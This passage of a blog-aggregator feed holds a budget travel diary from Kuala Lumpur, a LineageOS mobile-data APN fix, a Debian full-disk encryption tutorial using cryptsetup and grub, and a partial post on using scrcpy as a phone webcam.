Kunafa, a middle-eastern dessert I sampled in Bukit Bintang.
7th Feb: Malaysian Airlines to Bangkok
On the 7th of Feb, I took a Malaysian Airlines flight for Bangkok, which was scheduled to depart from KL Airport at 12:15 hours, but the departure got delayed by 2 hours, landing in Bangkok at around 15:00 hours local time (which is 1 hours 30 minutes ahead of Indian time). More details will be covered in the Thailand post.

      
Malaysian Airlines jet standing at KL Airport.
Expenses
Category
Amount (INR)




Food + Accommodation + Travel in Malaysia
10,000


Delhi to Kuala Lumpur flight
13,000


Kuala Lumpur to Bangkok flight
10,000


Bangkok to Delhi flight
12,000



Learning for future trips
Malaysia has numerous places worthy of a visit: the Cameron Highlands (for its beautiful tea gardens), Malacca (due to its unique history and culture), Langkawi (for its white sand beaches) – and this list does not include the scenic spots from the part of Malaysia on the island of Borneo. However, I limited my trip to Kuala Lumpur and nearby places, which was a bad idea. After the trip, I realized that my mobility was reduced because I was carrying a trolley bag. Additionally, my trip to the Genting Highlands could have been replaced by a better alternative.
If you are like me and avoid taking a lot of taxis, preferring to walk or use public transport whenever possible, I highly advise you to cut back on luggage. Another instance where I could have benefited from this was with the airline ticket from Kuala Lumpur to Bangkok, which would have been much cheaper if I had carried less luggage (the tickets were 3,000-4,000 INR), compared to the ticket I bought for 10,000 INR.]]></description>
            <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>In January of this year, my friend Snehal invited me to Vienna, Austria, but our plans were thwarted when Austria refused me a visa. So, I thought about traveling to a country that does not require a visa, and a few candidates came to mind, one of them being Malaysia which had recently <a href="https://www.thehindu.com/news/national/malaysia-joins-thailand-and-sri-lanka-in-granting-visa-free-entry-for-indians/article67579107.ece">waived</a> visa requirements for Indian tourists. I also included Thailand, as it was visa-free, near to Malaysia, and is one of the most popular tourist destinations in the world.</p>
<p>I booked an AirAsia flight from Delhi, India, to Kuala Lumpur, Malaysia; a Malaysia Airlines flight from Kuala Lumpur to Bangkok; and an Air India ticket from Kuala Lumpur to Delhi.</p>
<h2 id="boarding-from-the-delhi-airport">Boarding from the Delhi Airport</h2>
<p>On the 31st of January, before boarding my flight to Kuala Lumpur, I went to the AirAsia counter to obtain my boarding pass. During this process, the airline staff asked me a range of questions, from the usual - such as my purpose of visit, hotel bookings, and return ticket - to the ridiculous, including requests for invoices of hotel bookings, email confirmations of my return ticket, and the amount of currency I was carrying.</p>
<p>I didn&rsquo;t have the invoices of my bookings as I didn&rsquo;t pay for them in advance except for the first night, nor could I find the confirmation email by Air India. I was afraid that the airline staff might not give me the boarding pass, which is required to board the flight. I never had such experiences at airports in other countries.</p>
<p>Then I passed through the immigration where I was asked sensible questions such as my country of visit and return tickets.  Following this, I went through security check, and proceeded to the flight&rsquo;s boarding gate. Unfortunately, my flight was delayed by three hours. Even though AirAsia is a budget airline, I was surprised to find out that drinking water inside the plane was not free-of-cost, only hot drinking water was. It was a direct flight, which took 5 hours to reach Kuala Lumpur. I landed at Kuala Lumpur&rsquo;s KLIA2 airport at around 09:00 hours local time (which is 2 hours 30 minutes ahead of Indian time) on the 1st of Feb.</p>
<h2 id="day-1-arrival-in-kuala-lumpur">Day 1: Arrival in Kuala Lumpur</h2>
<p>After arrival at the Kuala Lumpur airport, I went through immigration where I was asked my purpose of visit, number of people accompanying me, number of days of stay, return/onward tickets and hotel bookings.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/klia2-airport.avif" width="500" loading="lazy"><figcaption>
      <h4>Kuala Lumpur International Airport.</h4>
    </figcaption>
</figure>

<p>I had filled <a href="https://imigresen-online.imi.gov.my/mdac/main?registerMain">Malaysia Digital Arrival Card</a> a day before my flight&rsquo;s scheduled departure as per my travel agent&rsquo;s advice, though the immigration officer didn&rsquo;t ask for it. The immigration officer stamped my passport, after which I went through custom clearance. After clearing customs, I roamed around the airport and checked out SIM and internet plans, without buying.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/malaysia-passport-stamp.avif" width="500" loading="lazy"><figcaption>
      <h4>Malaysian entry stamp on my passport.</h4>
    </figcaption>
</figure>

<p>Malaysia’s currency is the Malaysian ringgit, abbreviated as MYR. One MYR was equivalent to 18 Indian Rupees (INR). I exchanged Malaysian ringgit at a money exchange in my hometown.</p>
<p>My stay was booked at a hostel called <a href="https://omaps.app/_0GA7K57rM/The_Travel_Hub">Travel Hub Guesthouse</a> in the Chinatown area of Kuala Lumpur, which was within walking distance of the <a href="https://www.openstreetmap.org/way/141466517">Pasar Seni metro station</a>, known as LRT station in local jargon. Every booking included a MYR 10 tourism tax per night. The hostel stay was 26.71 MYR plus 10 MYR (taxes), adding up to a total of 36.71 MYR (660 INR) per night.</p>
<p>KL Sentral serves as the city center and is located about 50 km from the airport. The rapid train from the airport to KL Sentral costs 55 MYR (approximately 1,000 INR), which I found to be quite expensive. Instead, I opted for the bus, which was a more economical choice at 15 MYR (approximately 270 INR). The bus took about an hour to reach KL Sentral and had comfortable seats. The well-maintained roads made my overall journey smooth and offered a glimpse of Kuala Lumpur city.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/bus-from-airport-to-kl-sentral.avif" width="500" loading="lazy"><figcaption>
      <h4>Interior view of the bus.</h4>
    </figcaption>
</figure>

<p>As soon as I checked in and entered my room, I met an Indian named Fletcher, who was also a tourist, and been in Kuala Lumpur for a couple of days, was planning to visit the National Museum and I joined him out of excitement for exploration, even though I was too tired after such a long trip and wanted to rest instead.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/lrt.avif" width="500" loading="lazy"><figcaption>
      <h4>LRT at KL Sentral.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/pasar-seni-lrt-station.avif" width="500" loading="lazy"><figcaption>
      <h4>Entrance of Pasar Seni LRT station</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/travel-hub-guesthouse-room.avif" width="500" loading="lazy"><figcaption>
      <h4>Room inside Travel Hub Guesthouse.</h4>
    </figcaption>
</figure>

<p>In the evening, I visited the National Museum (ticket was 5 MYR, equivalent to 90 INR) with Fletcher, and explored Little India, which had abundance of Indian food restaurants, especially by Tamils, making vegetarian food easily available. I came across a stall where I drank masala tea and sampled Mee Goreng. A quick search on the internet revealed that Mee Goreng is a dish unique to Indian immigrants in Malaysia and neighboring countries, but not found in India!</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/little-india-welcome-board.avif" width="500" loading="lazy"><figcaption>
      <h4>Board welcoming us to Little India</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/mee-goreng.avif" width="500" loading="lazy"><figcaption>
      <h4>Mee Goreng, a dish made of noodles in Malaysia.</h4>
    </figcaption>
</figure>

<h2 id="day-2-visiting-batu-caves-and-petronas-towers">Day 2: Visiting Batu Caves and Petronas Towers</h2>
<p>To stay with Fletcher, I extended my stay at the same hostel for one night. The next day (February 2nd), Fletcher went on a day trip to the Genting Highlands. Although I planned to join him, I couldn’t because his bus had no available bookings when we reached the KL Sentral station the next day. I noticed that at the KL Sentral station, bus tickets need to be paid for using a card or can be booked online through websites like RedBus. They had a cash option at the KL airport, but not at KL Sentral.</p>
<p>I took the opportunity to buy a local SIM card from the company CelcomDigi at the KL Sentral station for MYR 10, which included 5G internet up to 5 GB of usage. However, making calls required a recharge of MYR 5, which I didn’t include. At the bus ticket counter, I met a family from Delhi and joined them for a day trip to Batu Caves, which is a cave complex located on the outskirts of Kuala Lumpur.</p>
<p>To reach Batu Caves, we took the KTM Komuter train from KL Sentral station, which costs MYR 5.2 for a return journey. The train takes around 40 minutes to reach Batu Caves. Upon reaching there, we could immediately see the shrine of Murugan outside the Batu Caves. There were stairs leading to the caves. In order to take the stairs to the caves, make sure you cover your knees and shoulders. A woman from the family I went with was wearing shorts, so she had to buy a scarf worth MYR 15 to cover her knees for the entry. After climbing the stairs, we went inside the Temple Cave. This particular cave doesn’t have an entry fee, however some other caves (for example, the Ramayana Cave) have an entry fee. I didn’t go to the Ramayana Cave because I didn’t know about it.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/KTM-Komuter.avif" width="400" loading="lazy"><figcaption>
      <h4>KTM Komuter train</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/murugan-shrine.avif" width="400" loading="lazy"><figcaption>
      <h4>Murugan statue outside of Batu Caves.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/view-from-top-of-stairs.avif" width="400" loading="lazy"><figcaption>
      <h4>View from the top after climbing all the stairs.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/temple-inside-cave.avif" width="400" loading="lazy"><figcaption>
      <h4>Temple inside the cave.</h4>
    </figcaption>
</figure>

<p>The temperature inside the cave was cooler. We spent some time resting inside the cave. After we were done, we returned to KL Sentral, and went our separate ways. I came back to hostel and rested for some time.</p>
<p>My trip to Kuala Lumpur would be incomplete without a photo at the iconic Petronas Towers, which was my next destination. To get there from my hostel, I took the LRT to KLCC station and then walked to the photo point of the Petronas Towers, where I asked an Indonesian tourist for help in taking my pictures.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/me-at-petronas-towers.avif" width="400" loading="lazy"><figcaption>
      <h4>Me at Petronas Towers.</h4>
    </figcaption>
</figure>

<p>After roaming around at Petronas Towers, I gave a phone call to Fletcher who was on his way back to KL Sentral and we decided to meet there. We went to the same stall we had Mee Goreng the previous day and ordered Ghee Roast Dosa this time. We also had nice conversations with a family having Malaysian citizenship with Indian ancestry. Then, we went to another place to eat Roti Canai, which I had with dal. Interestingly, Roti Canai is another dish popularized by Indian immigrants in Southeast Asia, but it is not popular in India.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/photo-with-malaysians.avif" width="500" loading="lazy"><figcaption>
      <h4>Photo with Malaysians.</h4>
    </figcaption>
</figure>

<h2 id="day-3-berjaya-times-square-and-bukit-bintang">Day 3: Berjaya Times Square and Bukit Bintang</h2>
<p>For the third day (3rd Feb), I could not extend my hostel booking as it was fully booked due to weekend. So, I booked another hostel by the name of <a href="https://www.openstreetmap.org/node/11581359149">The Manor by Mingle</a> for two nights, 1 km far from my previous hostel, which was MYR 99.34 (1800 INR) for two nights, including MYR 10 tourism fee per night. This was expensive compared to other hostels I stayed in this trip, probably due to weekend. It had a swimming pool, which was of no use to me. Further, it also had laundry services, which I used. The charges were MYR 5 for washing, while MYR 3 for the dryer.</p>
<p>After checking-in and keeping my luggage into my room, I and Fletcher went to nearby shopping mall Berjaya Times Square, which was decorated in celebrations of the upcoming Chinese New Year on 8th Feb, due to which prices were greatly discounted. After roaming around and a bit of shopping, we went back to our respective hostels to take rest. At night, we went to Bukit Bintang, which is known for its nightlife and called the entertainment hub of the city.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/berjaya.avif" width="500" loading="lazy"><figcaption>
      <h4>Berjaya Times Square dipped in Chinese New Year celebrations.</h4>
    </figcaption>
</figure>

<h2 id="day-4-genting-highlands">Day 4: Genting Highlands</h2>
<p>On the 4th of Feb, I took a solo day trip to <a href="https://en.wikivoyage.org/wiki/Genting_Highlands">Genting Highlands</a>, a hill station located on the outskirts of Kuala Lumpur. To reach there, I took a bus from KL Sentral (return ticket was MYR 20), which dropped me at the bus terminal below Awana Skyway cable car station. I took a cable car to reach Genting Highlands from there (MYR 18 for a return ticket), which passes through misty air along with stunning views. I roamed around and did some shopping, buying three T-Shirts for myself. Furthermore, I also sampled Paneer Makhani with naan for MYR 41.8 at a restaurant.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/cable-car-1.avif" width="500" loading="lazy"><figcaption>
      <h4>Views from cable car.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/cable-car-2.avif" width="500" loading="lazy"><figcaption>
      <h4>Views from cable car.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/paneer-makhani.avif" width="500" loading="lazy"><figcaption>
      <h4>I ordered Paneer Makhani with naan at a restaurant in Genting Highlands.</h4>
    </figcaption>
</figure>

<p>There was not much to do here for me, as this place was popular for being the only legal place to gamble in Malaysia, nothing of my interest. Although the cable car ride had scenic views, I don’t think Genting Highlands was worth visiting. Sure, it’s a good place for a day trip from KL, but I had more time and should have instead gone to some other place like Cameron Highlands. Genting Highlands is for people staying for a couple of days in KL who don’t want to visit far-off places. I think my decision to visit Genting Highlands was a case of falling into the trap of herd mentality, as when I went to the bus counter a couple of days ago, I saw a big queue for Genting Highlands, which was the basis of my decision.</p>
<p>I took the return cable car to reach the bus terminal, from where I took the bus for KL Sentral. Then I went to meet Fletcher, who was leaving for Bangkok. We later met in Pattaya, Thailand, after a few days, which will be covered in the next post.</p>
<h2 id="days-5-and-6">Days 5 and 6</h2>
<p>Since the hostel Manor by Mingle was a bit expensive, I booked a cheaper hostel for last two nights in Bukit Bintang. I didn&rsquo;t really do much on last two days. I roamed around and added some places on the OpenStreetMap. As I was living in Bukit Bintang, I bought some souveniers from there and tried a middle-eastern dessert named <a href="https://en.wikipedia.org/wiki/Kunafa">Kunafa</a>, which was yummy. I also discovered a shop named &lsquo;I Love KL Gifts&rsquo; which had souvenirs at a great price.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/kunafa.avif" width="500" loading="lazy"><figcaption>
      <h4>Kunafa, a middle-eastern dessert I sampled in Bukit Bintang.</h4>
    </figcaption>
</figure>

<h2 id="7th-feb-malaysian-airlines-to-bangkok">7th Feb: Malaysian Airlines to Bangkok</h2>
<p>On the 7th of Feb, I took a Malaysian Airlines flight for Bangkok, which was scheduled to depart from KL Airport at 12:15 hours, but the departure got delayed by 2 hours, landing in Bangkok at around 15:00 hours local time (which is 1 hours 30 minutes ahead of Indian time). More details will be covered in the Thailand post.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/malaysian-airlines.avif" width="500" loading="lazy"><figcaption>
      <h4>Malaysian Airlines jet standing at KL Airport.</h4>
    </figcaption>
</figure>

<h2 id="expenses">Expenses</h2>
<table>
<thead>
<tr>
<th>Category</th>
<th>Amount (INR)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Food + Accommodation + Travel in Malaysia</td>
<td>10,000</td>
</tr>
<tr>
<td>Delhi to Kuala Lumpur flight</td>
<td>13,000</td>
</tr>
<tr>
<td>Kuala Lumpur to Bangkok flight</td>
<td>10,000</td>
</tr>
<tr>
<td>Bangkok to Delhi flight</td>
<td>12,000</td>
</tr>
</tbody>
</table>
<h2 id="learning-for-future-trips">Learning for future trips</h2>
<p>Malaysia has numerous places worthy of a visit: the Cameron Highlands (for its beautiful tea gardens), Malacca (due to its unique history and culture), Langkawi (for its white sand beaches) – and this list does not include the scenic spots from the part of Malaysia on the island of Borneo. However, I limited my trip to Kuala Lumpur and nearby places, which was a bad idea. After the trip, I realized that my mobility was reduced because I was carrying a trolley bag. Additionally, my trip to the Genting Highlands could have been replaced by a better alternative.</p>
<p>If you are like me and avoid taking a lot of taxis, preferring to walk or use public transport whenever possible, I highly advise you to cut back on luggage. Another instance where I could have benefited from this was with the airline ticket from Kuala Lumpur to Bangkok, which would have been much cheaper if I had carried less luggage (the tickets were 3,000-4,000 INR), compared to the ticket I bought for 10,000 INR.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Fixing Mobile Data issue on Lineage OS]]></title>
            <link>https://ravidwivedi.in/posts/fix-internet-on-lineage-os/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/fix-internet-on-lineage-os/</guid>
            <pubDate>Fri, 01 Mar 2024 09:04:08 GMT</pubDate>
            <description><![CDATA[I have used LineageOS in many Android devices and face internet connectivity issues with mobile data. My mobile data never used to work properly in Xiaomi MI A2 on Lineage OS and my current phone OnePlus 9 Pro 5G. A few days ago, I met contrapunctus who has the same phone model with Lineage OS. He fixed this issue by comparing the settings of my phone with his.
In case, you are suffering from this issue, the following steps fixed the issue for me:
Navigate to Settings -> Network Settings -> Your SIM settings -> Access Point Names.
Click on the ‘+’ symbol to add a new access point.
In the Name section, you can input any name (e.g., test).
In the APN section, enter www and save the settings.
Check the screenshot below.

APN settings screenshot. Notice the circled entries.


Once you have added this new APN, ensure to select it from the list of available APNs. Following this configuration change, the issue got fixed. I hope this works for you :)]]></description>
            <content:encoded><![CDATA[<p>I have used LineageOS in many Android devices and face internet connectivity issues with mobile data. My mobile data never used to work properly in Xiaomi MI A2 on Lineage OS and my current phone OnePlus 9 Pro 5G. A few days ago, I met <a href="https://contrapunctus.codeberg.page">contrapunctus</a> who has the same phone model with Lineage OS. He fixed this issue by comparing the settings of my phone with his.</p>
<p>In case, you are suffering from this issue, the following steps fixed the issue for me:</p>
<ol>
<li>Navigate to Settings -&gt; Network Settings -&gt; Your SIM settings -&gt; Access Point Names.</li>
<li>Click on the ‘+’ symbol to add a new access point.</li>
<li>In the Name section, you can input any name (e.g., <code>test</code>).</li>
<li>In the APN section, enter <code>www</code> and save the settings.</li>
</ol>
<p>Check the screenshot below.</p>
<figure>
  <img src="https://ravidwivedi.in/images/APN-screenshot.png" width="250">
  <center><figcaption><h4>APN settings screenshot. Notice the circled entries.</h4></figcaption></center>
</figure>
<p>Once you have added this new APN, ensure to select it from the list of available APNs. Following this configuration change, the issue got fixed. I hope this works for you :)</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[How to encrypt an existing Debian install (LegacyBIOS)]]></title>
            <link>https://aryak.me/blog/07-encrypt-ext4-debian-install.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/07-encrypt-ext4-debian-install.html</guid>
            <pubDate>Thu, 29 Feb 2024 12:39:45 GMT</pubDate>
            <description><![CDATA[Recently, I decided to encrypt the VPSes of Project Segfault, as it coincided with the
migration of one of our servers, our EU node.
However, while moving our US node, we faced a few problems, in the
fact that I didn’t want to wipe the disk, nor did I want to do some jank
stuff like reinstalling debian and then replacing the files.
Therefore, my only solution came down to creating a new encrypted
partition, copying the entire directory tree of the old partition to the
new one via rsync, and then making grub and co. point to the new
stuff.
So, in order to do this, you first need to shrink your existing
partition so you can create the new one, which I did using GParted on
the GParted LiveCD.
Past that, you have to create the new primary partition in the empty
space created, which I did via CFDisk, since GParted requires you to
format while creating a partition (from what I could see), and it
doesn’t support creating LUKS partitions.
Additionally, since you can’t use the “good” PBKDF, argon2i(d) (which
is more secure and gives faster speeds) with the current version of grub
available on Debian 12, you have to move boot to a separate unencrypted
partition. This can be done by merely creating a new ~512 MiB ext2
primary partition via GParted
Past this, I had to create the LUKS stuff. To do so, I ran the
following commands:
# Format partition as LUKS encrypted
cryptsetup luksFormat --type luks2 --pbkdf argon2i /dev/DEVICE
# Open partition, and map it to /dev/mapper/crypt
cryptsetup luksOpen /dev/DEVICE crypt
# Overwrite the entire device with 0s, just to be a bit more secure
dd if=/dev/zero of=/dev/mapper/crypt status=progress bs=4096
# Create ext4 partition on the mapped device
mkfs.ext4 /dev/mapper/crypt

Then, to copy the content to the new partition, I used the following
commands:
mkdir -p /mnt/{old,new}
mount /dev/OLD_DEVICE /mnt/old
mount /dev/mapper/crypt /mnt/new
mkdir -p /mnt/new/boot
mount /dev/BOOT_DEVICE /mnt/new/boot
rsync -av /mnt/old/* /mnt/new

After all the data is copied, I need to enter a chroot environment in
order to configure a few more things. This is done through the following
commands:
mount -t sysfs /sys /mnt/new/sys/
mount -t proc /proc /mnt/new/proc/
mount --rbind /dev /mnt/new/dev/
chroot /mnt/new

Inside the chroot environment, you need to first install some
cryptsetup related stuff, and then update the fstab file:
apt install cryptsetup cryptsetup-initramfs

/etc/crypttab (the file which tells the system what encrypted
partitions to mount):
crypt   UUID=UUID_OF_PARTITION_FROM_BLKID   none    luks,discard
/etc/fstab:
/dev/mapper/crypt   /   ext4    rw  0   1
/dev/BOOT_PARTITION /boot   ext2    rw  0   1
Past this, you need to reinstall grub:
grub-install /dev/DISK # for legacy BIOS, note this is the disk not the partition (ie. /dev/vda not /dev/vda1)
update-grub

And that should be it, once you reboot, you should boot into a
password prompt, past which you can boot into your newly encrypted
system!
PS: don’t forget to remove the old partition :D]]></description>
            <content:encoded><![CDATA[
<p>Recently, I decided to encrypt the VPSes of <a
href="https://psf.lt">Project Segfault</a>, as it coincided with the
migration of one of our servers, our EU node.</p>
<p>However, while moving our US node, we faced a few problems, in the
fact that I didn’t want to wipe the disk, nor did I want to do some jank
stuff like reinstalling debian and then replacing the files.</p>
<p>Therefore, my only solution came down to creating a new encrypted
partition, copying the entire directory tree of the old partition to the
new one via rsync, and then making grub and co. point to the new
stuff.</p>
<p>So, in order to do this, you first need to shrink your existing
partition so you can create the new one, which I did using GParted on
the GParted LiveCD.</p>
<p>Past that, you have to create the new primary partition in the empty
space created, which I did via CFDisk, since GParted requires you to
format while creating a partition (from what I could see), and it
doesn’t support creating LUKS partitions.</p>
<p>Additionally, since you can’t use the “good” PBKDF, argon2i(d) (which
is more secure and gives faster speeds) with the current version of grub
available on Debian 12, you have to move boot to a separate unencrypted
partition. This can be done by merely creating a new ~512 MiB ext2
primary partition via GParted</p>
<p>Past this, I had to create the LUKS stuff. To do so, I ran the
following commands:</p>
<div class="sourceCode" id="cb1"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="co"># Format partition as LUKS encrypted</span></span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="ex">cryptsetup</span> luksFormat <span class="at">--type</span> luks2 <span class="at">--pbkdf</span> argon2i /dev/DEVICE</span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="co"># Open partition, and map it to /dev/mapper/crypt</span></span>
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="ex">cryptsetup</span> luksOpen /dev/DEVICE crypt</span>
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a><span class="co"># Overwrite the entire device with 0s, just to be a bit more secure</span></span>
<span id="cb1-6"><a href="#cb1-6" aria-hidden="true" tabindex="-1"></a><span class="fu">dd</span> if=/dev/zero of=/dev/mapper/crypt status=progress bs=4096</span>
<span id="cb1-7"><a href="#cb1-7" aria-hidden="true" tabindex="-1"></a><span class="co"># Create ext4 partition on the mapped device</span></span>
<span id="cb1-8"><a href="#cb1-8" aria-hidden="true" tabindex="-1"></a><span class="ex">mkfs.ext4</span> /dev/mapper/crypt</span></code></pre></div>
<p>Then, to copy the content to the new partition, I used the following
commands:</p>
<div class="sourceCode" id="cb2"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="fu">mkdir</span> <span class="at">-p</span> /mnt/<span class="dt">{old</span><span class="op">,</span><span class="dt">new}</span></span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="fu">mount</span> /dev/OLD_DEVICE /mnt/old</span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="fu">mount</span> /dev/mapper/crypt /mnt/new</span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a><span class="fu">mkdir</span> <span class="at">-p</span> /mnt/new/boot</span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a><span class="fu">mount</span> /dev/BOOT_DEVICE /mnt/new/boot</span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a><span class="fu">rsync</span> <span class="at">-av</span> /mnt/old/<span class="pp">*</span> /mnt/new</span></code></pre></div>
<p>After all the data is copied, I need to enter a chroot environment in
order to configure a few more things. This is done through the following
commands:</p>
<div class="sourceCode" id="cb3"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="fu">mount</span> <span class="at">-t</span> sysfs /sys /mnt/new/sys/</span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="fu">mount</span> <span class="at">-t</span> proc /proc /mnt/new/proc/</span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="fu">mount</span> <span class="at">--rbind</span> /dev /mnt/new/dev/</span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a><span class="fu">chroot</span> /mnt/new</span></code></pre></div>
<p>Inside the chroot environment, you need to first install some
cryptsetup related stuff, and then update the fstab file:</p>
<div class="sourceCode" id="cb4"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="ex">apt</span> install cryptsetup cryptsetup-initramfs</span></code></pre></div>
<p>/etc/crypttab (the file which tells the system what encrypted
partitions to mount):</p>
<pre><code>crypt   UUID=UUID_OF_PARTITION_FROM_BLKID   none    luks,discard</code></pre>
<p>/etc/fstab:</p>
<pre><code>/dev/mapper/crypt   /   ext4    rw  0   1
/dev/BOOT_PARTITION /boot   ext2    rw  0   1</code></pre>
<p>Past this, you need to reinstall grub:</p>
<div class="sourceCode" id="cb7"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="ex">grub-install</span> /dev/DISK <span class="co"># for legacy BIOS, note this is the disk not the partition (ie. /dev/vda not /dev/vda1)</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a><span class="ex">update-grub</span></span></code></pre></div>
<p>And that should be it, once you reboot, you should boot into a
password prompt, past which you can boot into your newly encrypted
system!</p>
<p>PS: don’t forget to remove the old partition :D</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2024/02/29/4</category>
        </item>
        <item>
            <title><![CDATA[Asking Questions]]></title>
            <link>https://www.prashanthudupa.com/asking-questions/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/asking-questions/</guid>
            <pubDate>Tue, 06 Feb 2024 03:14:39 GMT</pubDate>
            <description><![CDATA[Recently at the Aarohi Campus, there was a conversation around “learning by asking questions.” Ratnesh was encouraging learners at Aarohi’s Coversity to ask lot of questions to industry experts in their domain as a way of getting to know the...]]></description>
            <content:encoded><![CDATA[Recently at the Aarohi Campus, there was a conversation around &#8220;learning by asking questions.&#8221; Ratnesh was encouraging learners at Aarohi&#8217;s Coversity to ask lot of questions to industry experts in their domain as a way of getting to know the...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Philosophy</category>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[Using my phone as a webcam with just scrcpy andADB]]></title>
            <link>https://aryak.me/blog/06-phone-webcam-scrcpy.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/06-phone-webcam-scrcpy.html</guid>
            <pubDate>Sat, 27 Jan 2024 12:39:45 GMT</pubDate>
            <description><![CDATA[Recently, we decided to start streaming FOSS United Mumbai events to our Peertube instance, and hence we needed a
camera.
Since we couldn’t procure a good camera that can capture text from
the projector well, I started experimenting with other alternatives.
The first solution I tried was a generic IP camera based solution,
which of course came with the latencies involved with network-based
stuff and hence wasn’t suitable for this purpose.
Then, I tried droidcam, which uses ADB, but again, it had a paywall
for anything over 480p.
Past this, my jugaad solution was to use scrcpy via USB ADB,
open the normal camera app and then just capture part of the window with
the content, but that came with the issue of only being able to use 4:3
aspect ratio, and potentially worse quality since liveview is rarely as
good as actuals.
Later, I discovered that scrcpy can natively capture the phone camera
since Android 12+ and Scrcpy 2.x+.
This came with the first problem, debian testing is
still stuck on 1.x of scrcpy!
Note to self: maybe I should try porting a 2.x to Debian :D
As outlined in the docs,
scrcpy can capture both front and back cameras, at all supported
resolutions, and even the audio from the phone’s mic (which is useful
considering how shitty the mics are on modern laptops these days) .
So at the end, I ended up with this command:
/usr/local/bin/scrcpy --video-source=camera --camera-id=0 --camera-size=3264x1836

Now, at this point, I just needed to run OBS under Xwayland, add it
as an Xcomposite video capture, and start streaming!
But then, if you want to use it as a webcam, you just have to install
v4l2loopback (and run modprobe v4l2loopback), and then click “Start
Virtual Camera” instead of Start Streaming.
Do note though, you might have to change output type to scene under
the settings section right next to the start virtual camera button.
But thats about it. This is still a bit jank, considering you need
scrcpy and OBS both running in the background, but it generally does the
job pretty well, and a good phone’s webcam is miles better than any
other mid-range web-cam you can get.]]></description>
            <content:encoded><![CDATA[
<p>Recently, we decided to start streaming <a
href="https://fossunited.org">FOSS United Mumbai</a> events to our <a
href="https://sovran.video">Peertube instance</a>, and hence we needed a
camera.</p>
<p>Since we couldn’t procure a good camera that can capture text from
the projector well, I started experimenting with other alternatives.</p>
<p>The first solution I tried was a generic IP camera based solution,
which of course came with the latencies involved with network-based
stuff and hence wasn’t suitable for this purpose.</p>
<p>Then, I tried droidcam, which uses ADB, but again, it had a paywall
for anything over 480p.</p>
<p>Past this, my <em>jugaad</em> solution was to use scrcpy via USB ADB,
open the normal camera app and then just capture part of the window with
the content, but that came with the issue of only being able to use 4:3
aspect ratio, and potentially worse quality since liveview is rarely as
good as actuals.</p>
<p>Later, I discovered that scrcpy can natively capture the phone camera
since Android 12+ and Scrcpy 2.x+.</p>
<p>This came with the first problem, debian <strong>testing</strong> is
still stuck on 1.x of scrcpy!</p>
<p>Note to self: maybe I should try porting a 2.x to Debian :D</p>
<p>As outlined in the <a
href="https://github.com/Genymobile/scrcpy/blob/master/doc/camera.md">docs</a>,
scrcpy can capture both front and back cameras, at all supported
